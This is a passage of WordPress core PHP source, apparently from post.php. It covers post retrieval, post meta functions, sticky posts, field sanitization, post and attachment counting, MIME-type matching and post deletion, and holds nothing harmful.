1801 * @type int $numberposts Total number of posts to retrieve. Is an alias of $posts_per_page
1802 * in WP_Query. Accepts -1 for all. Default 5.
1803 * @type int|string $category Category ID or comma-separated list of IDs (this or any children).
1804 * Is an alias of $cat in WP_Query. Default 0.
1805 * @type array $include An array of post IDs to retrieve, sticky posts will be included.
1806 * Is an alias of $post__in in WP_Query. Default empty array.
1807 * @type array $exclude An array of post IDs not to retrieve. Default empty array.
1808 * @type bool $suppress_filters Whether to suppress filters. Default true.
1809 * }
1810 * @return array List of posts.
1811 */
1812function get_posts( $args = null ) {
1813 $defaults = array(
1814 'numberposts' => 5,
1815 'category' => 0, 'orderby' => 'date',
1816 'order' => 'DESC', 'include' => array(),
1817 'exclude' => array(), 'meta_key' => '',
1818 'meta_value' =>'', 'post_type' => 'post',
1819 'suppress_filters' => true
1820 );
1821
1822 $r = wp_parse_args( $args, $defaults );
1823 if ( empty( $r['post_status'] ) )
1824 $r['post_status'] = ( 'attachment' == $r['post_type'] ) ? 'inherit' : 'publish';
1825 if ( ! empty($r['numberposts']) && empty($r['posts_per_page']) )
1826 $r['posts_per_page'] = $r['numberposts'];
1827 if ( ! empty($r['category']) )
1828 $r['cat'] = $r['category'];
1829 if ( ! empty($r['include']) ) {
1830 $incposts = wp_parse_id_list( $r['include'] );
1831 $r['posts_per_page'] = count($incposts); // only the number of posts included
1832 $r['post__in'] = $incposts;
1833 } elseif ( ! empty($r['exclude']) )
1834 $r['post__not_in'] = wp_parse_id_list( $r['exclude'] );
1835
1836 $r['ignore_sticky_posts'] = true;
1837 $r['no_found_rows'] = true;
1838
1839 $get_posts = new WP_Query;
1840 return $get_posts->query($r);
1841
1842}
1843
1844//
1845// Post meta functions
1846//
1847
1848/**
1849 * Add meta data field to a post.
1850 *
1851 * Post meta data is called "Custom Fields" on the Administration Screen.
1852 *
1853 * @since 1.5.0
1854 *
1855 * @param int $post_id Post ID.
1856 * @param string $meta_key Metadata name.
1857 * @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
1858 * @param bool $unique Optional. Whether the same key should not be added.
1859 * Default false.
1860 * @return int|false Meta ID on success, false on failure.
1861 */
1862function add_post_meta( $post_id, $meta_key, $meta_value, $unique = false ) {
1863 // Make sure meta is added to the post, not a revision.
1864 $the_post = wp_is_post_revision( $post_id );
1865 if ( $the_post ) {
1866 $post_id = $the_post;
1867 }
1868
1869 return add_metadata( 'post', $post_id, $meta_key, $meta_value, $unique );
1870}
1871
1872/**
1873 * Remove metadata matching criteria from a post.
1874 *
1875 * You can match based on the key, or key and value. Removing based on key and
1876 * value, will keep from removing duplicate metadata with the same key. It also
1877 * allows removing all metadata matching key, if needed.
1878 *
1879 * @since 1.5.0
1880 *
1881 * @param int $post_id Post ID.
1882 * @param string $meta_key Metadata name.
1883 * @param mixed $meta_value Optional. Metadata value. Must be serializable if
1884 * non-scalar. Default empty.
1885 * @return bool True on success, false on failure.
1886 */
1887function delete_post_meta( $post_id, $meta_key, $meta_value = '' ) {
1888 // Make sure meta is added to the post, not a revision.
1889 $the_post = wp_is_post_revision( $post_id );
1890 if ( $the_post ) {
1891 $post_id = $the_post;
1892 }
1893
1894 return delete_metadata( 'post', $post_id, $meta_key, $meta_value );
1895}
1896
1897/**
1898 * Retrieve post meta field for a post.
1899 *
1900 * @since 1.5.0
1901 *
1902 * @param int $post_id Post ID.
1903 * @param string $key Optional. The meta key to retrieve. By default, returns
1904 * data for all keys. Default empty.
1905 * @param bool $single Optional. Whether to return a single value. Default false.
1906 * @return mixed Will be an array if $single is false. Will be value of meta data
1907 * field if $single is true.
1908 */
1909function get_post_meta( $post_id, $key = '', $single = false ) {
1910 return get_metadata('post', $post_id, $key, $single);
1911}
1912
1913/**
1914 * Update post meta field based on post ID.
1915 *
1916 * Use the $prev_value parameter to differentiate between meta fields with the
1917 * same key and post ID.
1918 *
1919 * If the meta field for the post does not exist, it will be added.
1920 *
1921 * @since 1.5.0
1922 *
1923 * @param int $post_id Post ID.
1924 * @param string $meta_key Metadata key.
1925 * @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
1926 * @param mixed $prev_value Optional. Previous value to check before removing.
1927 * Default empty.
1928 * @return int|bool Meta ID if the key didn't exist, true on successful update,
1929 * false on failure.
1930 */
1931function update_post_meta( $post_id, $meta_key, $meta_value, $prev_value = '' ) {
1932 // Make sure meta is added to the post, not a revision.
1933 $the_post = wp_is_post_revision( $post_id );
1934 if ( $the_post ) {
1935 $post_id = $the_post;
1936 }
1937
1938 return update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value );
1939}
1940
1941/**
1942 * Delete everything from post meta matching meta key.
1943 *
1944 * @since 2.3.0
1945 *
1946 * @param string $post_meta_key Key to search for when deleting.
1947 * @return bool Whether the post meta key was deleted from the database.
1948 */
1949function delete_post_meta_by_key( $post_meta_key ) {
1950 return delete_metadata( 'post', null, $post_meta_key, '', true );
1951}
1952
1953/**
1954 * Registers a meta key for posts.
1955 *
1956 * @since 4.9.8
1957 *
1958 * @param string $post_type Post type to register a meta key for. Pass an empty string
1959 * to register the meta key across all existing post types.
1960 * @param string $meta_key The meta key to register.
1961 * @param array $args Data used to describe the meta key when registered. See
1962 * {@see register_meta()} for a list of supported arguments.
1963 * @return bool True if the meta key was successfully registered, false if not.
1964 */
1965function register_post_meta( $post_type, $meta_key, array $args ) {
1966 $args['object_subtype'] = $post_type;
1967
1968 return register_meta( 'post', $meta_key, $args );
1969}
1970
1971/**
1972 * Unregisters a meta key for posts.
1973 *
1974 * @since 4.9.8
1975 *
1976 * @param string $post_type Post type the meta key is currently registered for. Pass
1977 * an empty string if the meta key is registered across all
1978 * existing post types.
1979 * @param string $meta_key The meta key to unregister.
1980 * @return bool True on success, false if the meta key was not previously registered.
1981 */
1982function unregister_post_meta( $post_type, $meta_key ) {
1983 return unregister_meta_key( 'post', $meta_key, $post_type );
1984}
1985
1986/**
1987 * Retrieve post meta fields, based on post ID.
1988 *
1989 * The post meta fields are retrieved from the cache where possible,
1990 * so the function is optimized to be called more than once.
1991 *
1992 * @since 1.2.0
1993 *
1994 * @param int $post_id Optional. Post ID. Default is ID of the global $post.
1995 * @return array Post meta for the given post.
1996 */
1997function get_post_custom( $post_id = 0 ) {
1998 $post_id = absint( $post_id );
1999 if ( ! $post_id )
2000 $post_id = get_the_ID();
2001
2002 return get_post_meta( $post_id );
2003}
2004
2005/**
2006 * Retrieve meta field names for a post.
2007 *
2008 * If there are no meta fields, then nothing (null) will be returned.
2009 *
2010 * @since 1.2.0
2011 *
2012 * @param int $post_id Optional. Post ID. Default is ID of the global $post.
2013 * @return array|void Array of the keys, if retrieved.
2014 */
2015function get_post_custom_keys( $post_id = 0 ) {
2016 $custom = get_post_custom( $post_id );
2017
2018 if ( !is_array($custom) )
2019 return;
2020
2021 if ( $keys = array_keys($custom) )
2022 return $keys;
2023}
2024
2025/**
2026 * Retrieve values for a custom post field.
2027 *
2028 * The parameters must not be considered optional. All of the post meta fields
2029 * will be retrieved and only the meta field key values returned.
2030 *
2031 * @since 1.2.0
2032 *
2033 * @param string $key Optional. Meta field key. Default empty.
2034 * @param int $post_id Optional. Post ID. Default is ID of the global $post.
2035 * @return array|null Meta field values.
2036 */
2037function get_post_custom_values( $key = '', $post_id = 0 ) {
2038 if ( !$key )
2039 return null;
2040
2041 $custom = get_post_custom($post_id);
2042
2043 return isset($custom[$key]) ? $custom[$key] : null;
2044}
2045
2046/**
2047 * Determines whether a post is sticky.
2048 *
2049 * Sticky posts should remain at the top of The Loop. If the post ID is not
2050 * given, then The Loop ID for the current post will be used.
2051 *
2052 * For more information on this and similar theme functions, check out
2053 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
2054 * Conditional Tags} article in the Theme Developer Handbook.
2055 *
2056 * @since 2.7.0
2057 *
2058 * @param int $post_id Optional. Post ID. Default is ID of the global $post.
2059 * @return bool Whether post is sticky.
2060 */
2061function is_sticky( $post_id = 0 ) {
2062 $post_id = absint( $post_id );
2063
2064 if ( ! $post_id )
2065 $post_id = get_the_ID();
2066
2067 $stickies = get_option( 'sticky_posts' );
2068
2069 if ( ! is_array( $stickies ) )
2070 return false;
2071
2072 if ( in_array( $post_id, $stickies ) )
2073 return true;
2074
2075 return false;
2076}
2077
2078/**
2079 * Sanitize every post field.
2080 *
2081 * If the context is 'raw', then the post object or array will get minimal
2082 * sanitization of the integer fields.
2083 *
2084 * @since 2.3.0
2085 *
2086 * @see sanitize_post_field()
2087 *
2088 * @param object|WP_Post|array $post The Post Object or Array
2089 * @param string $context Optional. How to sanitize post fields.
2090 * Accepts 'raw', 'edit', 'db', or 'display'.
2091 * Default 'display'.
2092 * @return object|WP_Post|array The now sanitized Post Object or Array (will be the
2093 * same type as $post).
2094 */
2095function sanitize_post( $post, $context = 'display' ) {
2096 if ( is_object($post) ) {
2097 // Check if post already filtered for this context.
2098 if ( isset($post->filter) && $context == $post->filter )
2099 return $post;
2100 if ( !isset($post->ID) )
2101 $post->ID = 0;
2102 foreach ( array_keys(get_object_vars($post)) as $field )
2103 $post->$field = sanitize_post_field($field, $post->$field, $post->ID, $context);
2104 $post->filter = $context;
2105 } elseif ( is_array( $post ) ) {
2106 // Check if post already filtered for this context.
2107 if ( isset($post['filter']) && $context == $post['filter'] )
2108 return $post;
2109 if ( !isset($post['ID']) )
2110 $post['ID'] = 0;
2111 foreach ( array_keys($post) as $field )
2112 $post[$field] = sanitize_post_field($field, $post[$field], $post['ID'], $context);
2113 $post['filter'] = $context;
2114 }
2115 return $post;
2116}
2117
2118/**
2119 * Sanitize post field based on context.
2120 *
2121 * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and
2122 * 'js'. The 'display' context is used by default. 'attribute' and 'js' contexts
2123 * are treated like 'display' when calling filters.
2124 *
2125 * @since 2.3.0
2126 * @since 4.4.0 Like `sanitize_post()`, `$context` defaults to 'display'.
2127 *
2128 * @param string $field The Post Object field name.
2129 * @param mixed $value The Post Object value.
2130 * @param int $post_id Post ID.
2131 * @param string $context Optional. How to sanitize post fields. Looks for 'raw', 'edit',
2132 * 'db', 'display', 'attribute' and 'js'. Default 'display'.
2133 * @return mixed Sanitized value.
2134 */
2135function sanitize_post_field( $field, $value, $post_id, $context = 'display' ) {
2136 $int_fields = array('ID', 'post_parent', 'menu_order');
2137 if ( in_array($field, $int_fields) )
2138 $value = (int) $value;
2139
2140 // Fields which contain arrays of integers.
2141 $array_int_fields = array( 'ancestors' );
2142 if ( in_array($field, $array_int_fields) ) {
2143 $value = array_map( 'absint', $value);
2144 return $value;
2145 }
2146
2147 if ( 'raw' == $context )
2148 return $value;
2149
2150 $prefixed = false;
2151 if ( false !== strpos($field, 'post_') ) {
2152 $prefixed = true;
2153 $field_no_prefix = str_replace('post_', '', $field);
2154 }
2155
2156 if ( 'edit' == $context ) {
2157 $format_to_edit = array('post_content', 'post_excerpt', 'post_title', 'post_password');
2158
2159 if ( $prefixed ) {
2160
2161 /**
2162 * Filters the value of a specific post field to edit.
2163 *
2164 * The dynamic portion of the hook name, `$field`, refers to the post
2165 * field name.
2166 *
2167 * @since 2.3.0
2168 *
2169 * @param mixed $value Value of the post field.
2170 * @param int $post_id Post ID.
2171 */
2172 $value = apply_filters( "edit_{$field}", $value, $post_id );
2173
2174 /**
2175 * Filters the value of a specific post field to edit.
2176 *
2177 * The dynamic portion of the hook name, `$field_no_prefix`, refers to
2178 * the post field name.
2179 *
2180 * @since 2.3.0
2181 *
2182 * @param mixed $value Value of the post field.
2183 * @param int $post_id Post ID.
2184 */
2185 $value = apply_filters( "{$field_no_prefix}_edit_pre", $value, $post_id );
2186 } else {
2187 $value = apply_filters( "edit_post_{$field}", $value, $post_id );
2188 }
2189
2190 if ( in_array($field, $format_to_edit) ) {
2191 if ( 'post_content' == $field )
2192 $value = format_to_edit($value, user_can_richedit());
2193 else
2194 $value = format_to_edit($value);
2195 } else {
2196 $value = esc_attr($value);
2197 }
2198 } elseif ( 'db' == $context ) {
2199 if ( $prefixed ) {
2200
2201 /**
2202 * Filters the value of a specific post field before saving.
2203 *
2204 * The dynamic portion of the hook name, `$field`, refers to the post
2205 * field name.
2206 *
2207 * @since 2.3.0
2208 *
2209 * @param mixed $value Value of the post field.
2210 */
2211 $value = apply_filters( "pre_{$field}", $value );
2212
2213 /**
2214 * Filters the value of a specific field before saving.
2215 *
2216 * The dynamic portion of the hook name, `$field_no_prefix`, refers
2217 * to the post field name.
2218 *
2219 * @since 2.3.0
2220 *
2221 * @param mixed $value Value of the post field.
2222 */
2223 $value = apply_filters( "{$field_no_prefix}_save_pre", $value );
2224 } else {
2225 $value = apply_filters( "pre_post_{$field}", $value );
2226
2227 /**
2228 * Filters the value of a specific post field before saving.
2229 *
2230 * The dynamic portion of the hook name, `$field`, refers to the post
2231 * field name.
2232 *
2233 * @since 2.3.0
2234 *
2235 * @param mixed $value Value of the post field.
2236 */
2237 $value = apply_filters( "{$field}_pre", $value );
2238 }
2239 } else {
2240
2241 // Use display filters by default.
2242 if ( $prefixed ) {
2243
2244 /**
2245 * Filters the value of a specific post field for display.
2246 *
2247 * The dynamic portion of the hook name, `$field`, refers to the post
2248 * field name.
2249 *
2250 * @since 2.3.0
2251 *
2252 * @param mixed $value Value of the prefixed post field.
2253 * @param int $post_id Post ID.
2254 * @param string $context Context for how to sanitize the field. Possible
2255 * values include 'raw', 'edit', 'db', 'display',
2256 * 'attribute' and 'js'.
2257 */
2258 $value = apply_filters( "{$field}", $value, $post_id, $context );
2259 } else {
2260 $value = apply_filters( "post_{$field}", $value, $post_id, $context );
2261 }
2262
2263 if ( 'attribute' == $context ) {
2264 $value = esc_attr( $value );
2265 } elseif ( 'js' == $context ) {
2266 $value = esc_js( $value );
2267 }
2268 }
2269
2270 return $value;
2271}
2272
2273/**
2274 * Make a post sticky.
2275 *
2276 * Sticky posts should be displayed at the top of the front page.
2277 *
2278 * @since 2.7.0
2279 *
2280 * @param int $post_id Post ID.
2281 */
2282function stick_post( $post_id ) {
2283 $stickies = get_option('sticky_posts');
2284
2285 if ( !is_array($stickies) )
2286 $stickies = array($post_id);
2287
2288 if ( ! in_array($post_id, $stickies) )
2289 $stickies[] = $post_id;
2290
2291 $updated = update_option( 'sticky_posts', $stickies );
2292
2293 if ( $updated ) {
2294 /**
2295 * Fires once a post has been added to the sticky list.
2296 *
2297 * @since 4.6.0
2298 *
2299 * @param int $post_id ID of the post that was stuck.
2300 */
2301 do_action( 'post_stuck', $post_id );
2302 }
2303}
2304
2305/**
2306 * Un-stick a post.
2307 *
2308 * Sticky posts should be displayed at the top of the front page.
2309 *
2310 * @since 2.7.0
2311 *
2312 * @param int $post_id Post ID.
2313 */
2314function unstick_post( $post_id ) {
2315 $stickies = get_option('sticky_posts');
2316
2317 if ( !is_array($stickies) )
2318 return;
2319
2320 if ( ! in_array($post_id, $stickies) )
2321 return;
2322
2323 $offset = array_search($post_id, $stickies);
2324 if ( false === $offset )
2325 return;
2326
2327 array_splice($stickies, $offset, 1);
2328
2329 $updated = update_option( 'sticky_posts', $stickies );
2330
2331 if ( $updated ) {
2332 /**
2333 * Fires once a post has been removed from the sticky list.
2334 *
2335 * @since 4.6.0
2336 *
2337 * @param int $post_id ID of the post that was unstuck.
2338 */
2339 do_action( 'post_unstuck', $post_id );
2340 }
2341}
2342
2343/**
2344 * Return the cache key for wp_count_posts() based on the passed arguments.
2345 *
2346 * @since 3.9.0
2347 *
2348 * @param string $type Optional. Post type to retrieve count Default 'post'.
2349 * @param string $perm Optional. 'readable' or empty. Default empty.
2350 * @return string The cache key.
2351 */
2352function _count_posts_cache_key( $type = 'post', $perm = '' ) {
2353 $cache_key = 'posts-' . $type;
2354 if ( 'readable' == $perm && is_user_logged_in() ) {
2355 $post_type_object = get_post_type_object( $type );
2356 if ( $post_type_object && ! current_user_can( $post_type_object->cap->read_private_posts ) ) {
2357 $cache_key .= '_' . $perm . '_' . get_current_user_id();
2358 }
2359 }
2360 return $cache_key;
2361}
2362
2363/**
2364 * Count number of posts of a post type and if user has permissions to view.
2365 *
2366 * This function provides an efficient method of finding the amount of post's
2367 * type a blog has. Another method is to count the amount of items in
2368 * get_posts(), but that method has a lot of overhead with doing so. Therefore,
2369 * when developing for 2.5+, use this function instead.
2370 *
2371 * The $perm parameter checks for 'readable' value and if the user can read
2372 * private posts, it will display that for the user that is signed in.
2373 *
2374 * @since 2.5.0
2375 *
2376 * @global wpdb $wpdb WordPress database abstraction object.
2377 *
2378 * @param string $type Optional. Post type to retrieve count. Default 'post'.
2379 * @param string $perm Optional. 'readable' or empty. Default empty.
2380 * @return object Number of posts for each status.
2381 */
2382function wp_count_posts( $type = 'post', $perm = '' ) {
2383 global $wpdb;
2384
2385 if ( ! post_type_exists( $type ) )
2386 return new stdClass;
2387
2388 $cache_key = _count_posts_cache_key( $type, $perm );
2389
2390 $counts = wp_cache_get( $cache_key, 'counts' );
2391 if ( false !== $counts ) {
2392 /** This filter is documented in wp-includes/post.php */
2393 return apply_filters( 'wp_count_posts', $counts, $type, $perm );
2394 }
2395
2396 $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
2397 if ( 'readable' == $perm && is_user_logged_in() ) {
2398 $post_type_object = get_post_type_object($type);
2399 if ( ! current_user_can( $post_type_object->cap->read_private_posts ) ) {
2400 $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))",
2401 get_current_user_id()
2402 );
2403 }
2404 }
2405 $query .= ' GROUP BY post_status';
2406
2407 $results = (array) $wpdb->get_results( $wpdb->prepare( $query, $type ), ARRAY_A );
2408 $counts = array_fill_keys( get_post_stati(), 0 );
2409
2410 foreach ( $results as $row ) {
2411 $counts[ $row['post_status'] ] = $row['num_posts'];
2412 }
2413
2414 $counts = (object) $counts;
2415 wp_cache_set( $cache_key, $counts, 'counts' );
2416
2417 /**
2418 * Modify returned post counts by status for the current post type.
2419 *
2420 * @since 3.7.0
2421 *
2422 * @param object $counts An object containing the current post_type's post
2423 * counts by status.
2424 * @param string $type Post type.
2425 * @param string $perm The permission to determine if the posts are 'readable'
2426 * by the current user.
2427 */
2428 return apply_filters( 'wp_count_posts', $counts, $type, $perm );
2429}
2430
2431/**
2432 * Count number of attachments for the mime type(s).
2433 *
2434 * If you set the optional mime_type parameter, then an array will still be
2435 * returned, but will only have the item you are looking for. It does not give
2436 * you the number of attachments that are children of a post. You can get that
2437 * by counting the number of children that post has.
2438 *
2439 * @since 2.5.0
2440 *
2441 * @global wpdb $wpdb WordPress database abstraction object.
2442 *
2443 * @param string|array $mime_type Optional. Array or comma-separated list of
2444 * MIME patterns. Default empty.
2445 * @return object An object containing the attachment counts by mime type.
2446 */
2447function wp_count_attachments( $mime_type = '' ) {
2448 global $wpdb;
2449
2450 $and = wp_post_mime_type_where( $mime_type );
2451 $count = $wpdb->get_results( "SELECT post_mime_type, COUNT( * ) AS num_posts FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' $and GROUP BY post_mime_type", ARRAY_A );
2452
2453 $counts = array();
2454 foreach ( (array) $count as $row ) {
2455 $counts[ $row['post_mime_type'] ] = $row['num_posts'];
2456 }
2457 $counts['trash'] = $wpdb->get_var( "SELECT COUNT( * ) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status = 'trash' $and");
2458
2459 /**
2460 * Modify returned attachment counts by mime type.
2461 *
2462 * @since 3.7.0
2463 *
2464 * @param object $counts An object containing the attachment counts by
2465 * mime type.
2466 * @param string $mime_type The mime type pattern used to filter the attachments
2467 * counted.
2468 */
2469 return apply_filters( 'wp_count_attachments', (object) $counts, $mime_type );
2470}
2471
2472/**
2473 * Get default post mime types.
2474 *
2475 * @since 2.9.0
2476 *
2477 * @return array List of post mime types.
2478 */
2479function get_post_mime_types() {
2480 $post_mime_types = array( // array( adj, noun )
2481 'image' => array(__('Images'), __('Manage Images'), _n_noop('Image <span class="count">(%s)</span>', 'Images <span class="count">(%s)</span>')),
2482 'audio' => array(__('Audio'), __('Manage Audio'), _n_noop('Audio <span class="count">(%s)</span>', 'Audio <span class="count">(%s)</span>')),
2483 'video' => array(__('Video'), __('Manage Video'), _n_noop('Video <span class="count">(%s)</span>', 'Video <span class="count">(%s)</span>')),
2484 );
2485
2486 /**
2487 * Filters the default list of post mime types.
2488 *
2489 * @since 2.5.0
2490 *
2491 * @param array $post_mime_types Default list of post mime types.
2492 */
2493 return apply_filters( 'post_mime_types', $post_mime_types );
2494}
2495
2496/**
2497 * Check a MIME-Type against a list.
2498 *
2499 * If the wildcard_mime_types parameter is a string, it must be comma separated
2500 * list. If the real_mime_types is a string, it is also comma separated to
2501 * create the list.
2502 *
2503 * @since 2.5.0
2504 *
2505 * @param string|array $wildcard_mime_types Mime types, e.g. audio/mpeg or image (same as image/*)
2506 * or flash (same as *flash*).
2507 * @param string|array $real_mime_types Real post mime type values.
2508 * @return array array(wildcard=>array(real types)).
2509 */
2510function wp_match_mime_types( $wildcard_mime_types, $real_mime_types ) {
2511 $matches = array();
2512 if ( is_string( $wildcard_mime_types ) ) {
2513 $wildcard_mime_types = array_map( 'trim', explode( ',', $wildcard_mime_types ) );
2514 }
2515 if ( is_string( $real_mime_types ) ) {
2516 $real_mime_types = array_map( 'trim', explode( ',', $real_mime_types ) );
2517 }
2518
2519 $patternses = array();
2520 $wild = '[-._a-z0-9]*';
2521
2522 foreach ( (array) $wildcard_mime_types as $type ) {
2523 $mimes = array_map( 'trim', explode( ',', $type ) );
2524 foreach ( $mimes as $mime ) {
2525 $regex = str_replace( '__wildcard__', $wild, preg_quote( str_replace( '*', '__wildcard__', $mime ) ) );
2526 $patternses[][$type] = "^$regex$";
2527 if ( false === strpos( $mime, '/' ) ) {
2528 $patternses[][$type] = "^$regex/";
2529 $patternses[][$type] = $regex;
2530 }
2531 }
2532 }
2533 asort( $patternses );
2534
2535 foreach ( $patternses as $patterns ) {
2536 foreach ( $patterns as $type => $pattern ) {
2537 foreach ( (array) $real_mime_types as $real ) {
2538 if ( preg_match( "#$pattern#", $real ) && ( empty( $matches[$type] ) || false === array_search( $real, $matches[$type] ) ) ) {
2539 $matches[$type][] = $real;
2540 }
2541 }
2542 }
2543 }
2544 return $matches;
2545}
2546
2547/**
2548 * Convert MIME types into SQL.
2549 *
2550 * @since 2.5.0
2551 *
2552 * @param string|array $post_mime_types List of mime types or comma separated string
2553 * of mime types.
2554 * @param string $table_alias Optional. Specify a table alias, if needed.
2555 * Default empty.
2556 * @return string The SQL AND clause for mime searching.
2557 */
2558function wp_post_mime_type_where( $post_mime_types, $table_alias = '' ) {
2559 $where = '';
2560 $wildcards = array('', '%', '%/%');
2561 if ( is_string($post_mime_types) )
2562 $post_mime_types = array_map('trim', explode(',', $post_mime_types));
2563
2564 $wheres = array();
2565
2566 foreach ( (array) $post_mime_types as $mime_type ) {
2567 $mime_type = preg_replace('/\s/', '', $mime_type);
2568 $slashpos = strpos($mime_type, '/');
2569 if ( false !== $slashpos ) {
2570 $mime_group = preg_replace('/[^-*.a-zA-Z0-9]/', '', substr($mime_type, 0, $slashpos));
2571 $mime_subgroup = preg_replace('/[^-*.+a-zA-Z0-9]/', '', substr($mime_type, $slashpos + 1));
2572 if ( empty($mime_subgroup) )
2573 $mime_subgroup = '*';
2574 else
2575 $mime_subgroup = str_replace('/', '', $mime_subgroup);
2576 $mime_pattern = "$mime_group/$mime_subgroup";
2577 } else {
2578 $mime_pattern = preg_replace('/[^-*.a-zA-Z0-9]/', '', $mime_type);
2579 if ( false === strpos($mime_pattern, '*') )
2580 $mime_pattern .= '/*';
2581 }
2582
2583 $mime_pattern = preg_replace('/\*+/', '%', $mime_pattern);
2584
2585 if ( in_array( $mime_type, $wildcards ) )
2586 return '';
2587
2588 if ( false !== strpos($mime_pattern, '%') )
2589 $wheres[] = empty($table_alias) ? "post_mime_type LIKE '$mime_pattern'" : "$table_alias.post_mime_type LIKE '$mime_pattern'";
2590 else
2591 $wheres[] = empty($table_alias) ? "post_mime_type = '$mime_pattern'" : "$table_alias.post_mime_type = '$mime_pattern'";
2592 }
2593 if ( !empty($wheres) )
2594 $where = ' AND (' . join(' OR ', $wheres) . ') ';
2595 return $where;
2596}
2597
2598/**
2599 * Trash or delete a post or page.
2600 *
2601 * When the post and page is permanently deleted, everything that is tied to
2602 * it is deleted also. This includes comments, post meta fields, and terms
2603 * associated with the post.
2604 *
2605 * The post or page is moved to trash instead of permanently deleted unless
2606 * trash is disabled, item is already in the trash, or $force_delete is true.
2607 *
2608 * @since 1.0.0
2609 *
2610 * @global wpdb $wpdb WordPress database abstraction object.
2611 * @see wp_delete_attachment()
2612 * @see wp_trash_post()
2613 *
2614 * @param int $postid Optional. Post ID. Default 0.
2615 * @param bool $force_delete Optional. Whether to bypass trash and force deletion.
2616 * Default false.
2617 * @return WP_Post|false|null Post data on success, false or null on failure.
2618 */
2619function wp_delete_post( $postid = 0, $force_delete = false ) {
2620 global $wpdb;
2621
2622 $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $postid ) );
2623
2624 if ( ! $post ) {
2625 return $post;
2626 }
2627
2628 $post = get_post( $post );
2629
2630 if ( ! $force_delete && ( 'post' === $post->post_type || 'page' === $post->post_type ) && 'trash' !== get_post_status( $postid ) && EMPTY_TRASH_DAYS ) {
2631 return wp_trash_post( $postid );
2632 }
2633
2634 if ( 'attachment' === $post->post_type ) {
2635 return wp_delete_attachment( $postid, $force_delete );
2636 }
2637
2638 /**
2639 * Filters whether a post deletion should take place.
2640 *
2641 * @since 4.4.0
2642 *
2643 * @param bool $delete Whether to go forward with deletion.
2644 * @param WP_Post $post Post object.
2645 * @param bool $force_delete Whether to bypass the trash.
2646 */
2647 $check = apply_filters( 'pre_delete_post', null, $post, $force_delete );
2648 if ( null !== $check ) {
2649 return $check;
2650 }
2651
2652 /**
2653 * Fires before a post is deleted, at the start of wp_delete_post().
2654 *
2655 * @since 3.2.0
2656 *
2657 * @see wp_delete_post()
2658 *
2659 * @param int $postid Post ID.
2660 */
2661 do_action( 'before_delete_post', $postid );
2662
2663 delete_post_meta($postid,'_wp_trash_meta_status');
2664 delete_post_meta($postid,'_wp_trash_meta_time');
2665
2666 wp_delete_object_term_relationships($postid, get_object_taxonomies($post->post_type));
2667
2668 $parent_data = array( 'post_parent' => $post->post_parent );
2669 $parent_where = array( 'post_parent' => $postid );
2670
2671 if ( is_post_type_hierarchical( $post->post_type ) ) {
2672 // Point children of this page to its parent, also clean the cache of affected children.
2673 $children_query = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent = %d AND post_type = %s", $postid, $post->post_type );
2674 $children = $wpdb->get_results( $children_query );
2675 if ( $children ) {
2676 $wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => $post->post_type ) );
2677 }
2678 }
2679
2680 // Do raw query. wp_get_post_revisions() is filtered.
2681 $revision_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'revision'", $postid ) );
2682 // Use wp_delete_post (via wp_delete_post_revision) again. Ensures any meta/misplaced data gets cleaned up.
2683 foreach ( $revision_ids as $revision_id )
2684 wp_delete_post_revision( $revision_id );
2685
2686 // Point all attachments to this post up one level.
2687 $wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => 'attachment' ) );
2688
2689 wp_defer_comment_counting( true );
2690
2691 $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d", $postid ));
2692 foreach ( $comment_ids as $comment_id ) {
2693 wp_delete_comment( $comment_id, true );
2694 }
2695
2696 wp_defer_comment_counting( false );
2697
2698 $post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $postid ));
2699 foreach ( $post_meta_ids as $mid )
2700 delete_metadata_by_mid( 'post', $mid );
2701
2702 /**
2703 * Fires immediately before a post is deleted from the database.
2704 *
2705 * @since 1.2.0
2706 *
2707 * @param int $postid Post ID.
2708 */
2709 do_action( 'delete_post', $postid );
2710 $result = $wpdb->delete( $wpdb->posts, array( 'ID' => $postid ) );
2711 if ( ! $result ) {
2712 return false;
2713 }
2714
2715 /**
2716 * Fires immediately after a post is deleted from the database.
2717 *
2718 * @since 2.2.0
2719 *
2720 * @param int $postid Post ID.
2721 */
2722 do_action( 'deleted_post', $postid );
2723
2724 clean_post_cache( $post );
2725
2726 if ( is_post_type_hierarchical( $post->post_type ) && $children ) {
2727 foreach ( $children as $child )
2728 clean_post_cache( $child );
2729 }
2730
2731 wp_clear_scheduled_hook('publish_future_post', array( $postid ) );
2732
2733 /**
2734 * Fires after a post is deleted, at the conclusion of wp_delete_post().
2735 *
2736 * @since 3.2.0
2737 *
2738 * @see wp_delete_post()
2739 *
2740 * @param int $postid Post ID.
2741 */
2742 do_action( 'after_delete_post', $postid );
2743
2744 return $post;
2745}
2746
2747/**
2748 * Reset the page_on_front, show_on_front, and page_for_post settings when
2749 * a linked page is deleted or trashed.
2750 *
2751 * Also ensures the post is no longer sticky.
2752 *
2753 * @since 3.7.0
2754 * @access private
2755 *
2756 * @param int $post_id Post ID.
2757 */
2758function _reset_front_page_settings_for_post( $post_id ) {
2759 $post = get_post( $post_id );
2760 if ( 'page' == $post->post_type ) {
2761 /*
2762 * If the page is defined in option page_on_front or post_for_posts,
2763 * adjust the corresponding options.
2764 */
2765 if ( get_option( 'page_on_front' ) == $post->ID ) {
2766 update_option( 'show_on_front', 'posts' );
2767 update_option( 'page_on_front', 0 );
2768 }
2769 if ( get_option( 'page_for_posts' ) == $post->ID ) {
